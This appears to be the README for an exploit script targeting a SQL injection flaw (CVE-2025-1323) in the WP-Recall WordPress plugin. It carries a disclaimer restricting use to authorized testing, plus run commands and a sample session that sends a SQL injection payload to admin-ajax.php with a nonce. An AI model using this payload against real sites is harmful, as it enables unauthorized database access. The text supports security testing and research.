WP-Recall 插件 SQL 注入
本工具仅用于授权的安全测试和教育用途。
未经明确许可，请勿对系统使用。滥用可能违法。
requests 模块安装依赖：
pip install requests
python CVE-2025-1323.py
Enter target URL (e.g. https://target.com/wp-admin/admin-ajax.php): https://example.com/wp-admin/admin-ajax.php
Enter ajax_nonce value: 37c11b0c06
[*] Sending payload: '; SELECT user(); --
[+] Response received:
{"result":"SQL error or leaked data here..."}